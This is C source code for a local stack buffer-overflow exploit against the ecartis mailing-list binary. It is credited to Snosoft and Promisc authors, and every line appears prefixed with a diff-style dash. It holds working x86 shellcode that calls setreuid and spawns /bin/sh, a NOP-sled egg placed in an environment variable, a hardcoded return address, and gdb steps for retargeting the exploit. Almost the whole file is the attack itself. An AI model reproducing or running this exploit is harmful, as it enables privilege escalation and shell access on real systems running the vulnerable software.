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- /*
- * /home/ecartis/ecartis
- *
- * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
- * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
- * Shellcode created by r0z / Promisc (r0z@promisc.org)
- *
- * This exploit was developed on the Snosoft vulnerability research machines
- *
- * - The Itch
- * - itchie@promisc.org
- *
- * - Technical details concerning the exploit -
- *
- * 1) Buffer overflow occurs after writing 996 bytes into the buffer at the command line
- * (996 to overwrite ebp, 1000 to overwrite eip).
- * 2) The code string with the return address will be unaligned.
- * 3) Shellcode will try to do a setreuid(508);
- *
- * I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb'ed it.
- * If the exploit fails, comment the system() that runs ecarthis, uncomment the other system()
- * The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis
- * in gdb, type: run $RET
- * The program will probably then segfault, then type: x/200x $esp and press enter a couply of times
- * until you see alot of 0x90909090. Then pick on of those address and replace it with the
- * int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun the exploit.
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #define DEFAULT_EGG_SIZE 2048
- #define NOP 0x90
- #define DEFAULT_BUFFER_SIZE 1000
-
-
- /* setreuid(508); execve("/bin/sh", "sh", 0); (c) r0z@promisc.org */
- char shellcode[] =
- "\x31\xdb" /* xor %ebx, %ebx */
- "\x31\xc9" /* xor %ecx, %ecx */
- "\xf7\xe3" /* mul %ebx */
- "\xb0\x46" /* mov $0x46, %al */
- "\x66\xbb\xfc\x01" /* mov $0x1fc, %bx */
- "\x49" /* dec %ecx */
- "\xcd\x80" /* int $0x80 */
- "\x31\xd2" /* xor %edx, %edx */
- "\x52" /* push %edx */
- "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
- "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
- "\x89\xe3" /* mov %esp, %ebx */
- "\x52" /* push %edx */
- "\x53" /* push %ebx */
- "\x89\xe1" /* mov %esp, %ecx */
- "\x6a\x0b" /* pushl $0xb */
- "\x58" /* pop %eax */
- "\xcd\x80"; /* int $0x80 */
-
- int main(int argc, char *argv[])
- {
- char *buff;
- char *egg;
- char *ptr;
- long *addr_ptr;
- long addr;
- int bsize = DEFAULT_BUFFER_SIZE;
- int eggsize = DEFAULT_EGG_SIZE;
- int i;
- int get_sp = 0xbffff550;
-
- if(argc > 1) { bsize = atoi(argv[1]); }
-
- if(!(buff = malloc(bsize)))
- {
- printf("unable to allocate memory for %d bytes\n", bsize);
- exit(1);
- }
-
- if(!(egg = malloc(eggsize)))
- {
- printf("unable to allocate memory for %d bytes\n", eggsize);
- exit(1);
- }
-
- printf("/home/ecartis/ecartis\n");
- printf("Vulnerability found by KF / http://www.snosoft.com\n");
- printf("Coded by The Itch / http://www.promisc.org\n\n");
- printf("Using return address: 0x%x\n", get_sp);
- printf("Using buffersize : %d\n", bsize);
-
- /* alignment */
- ptr = buff + 2;
-
- addr_ptr = (long *) ptr;
- for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
-
- ptr = egg;
- for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
- {
- *(ptr++) = NOP;
- }
-
- for(i = 0; i < strlen(shellcode); i++)
- {
- *(ptr++) = shellcode[i];
- }
-
- egg[eggsize - 1] = '\0';
- memcpy(egg, "EGG=", 4);
- putenv(egg);
- buff[bsize - 1] = '\0';
- memcpy(buff, "RET=", 4);
- putenv(buff);
- system("/home/ecartis/ecartis $RET");
- // system("/bin/bash");
-
- return 0;
- }
-